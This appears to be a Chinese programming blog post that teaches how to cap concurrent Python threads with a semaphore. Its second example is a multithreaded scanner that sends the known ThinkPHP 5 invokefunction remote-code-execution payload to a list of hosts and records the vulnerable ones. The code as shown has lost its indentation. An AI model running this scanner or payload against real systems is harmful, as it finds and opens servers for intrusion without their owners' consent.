python多线程semaphore实现线程数控制的示例

(编辑：jimmy 日期: 2024/11/17 浏览：3 次 )

前面写过一篇关于python多线程的实现的文章，但是效果不是最佳的，写法也不是很好。通过网上学习，也了解到了semaphore这个东西。

百度给的解释：Semaphore是一种在多线程环境下使用的设施，该设施负责协调各个线程，以保证它们能够正确、合理的使用公共资源的设施，也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子：假设停车场只有三个车位，一开始三个车位都是空的。这时如果同时来了五辆车，看门人允许其中三辆不受阻碍的进入，然后放下车拦，剩下的车则必须在入口等待，此后来的车也都不得不在入口处等待。这时，有一辆车离开停车场，看门人得知后，打开车拦，放入一辆，如果又离开两辆，则又可以放入两辆，如此往复。

简而言之，也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码：

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法，这为python2的写法，python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数，线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程，可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数，这里为5个

每执行一次函数的时候就获得一个线程数，sem.acquire()；每次执行完函数，就会释放一个线程数，sem.release()。只要acquire()的线程数达到了最大数（这里为5），后面的线程就只能先等待前面获得的线程执行完函数过后释放，后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本，但是方法不够好，这次用这个方法改了一下，贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本)：

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法，python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数，释放线程，线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法，python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程，直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

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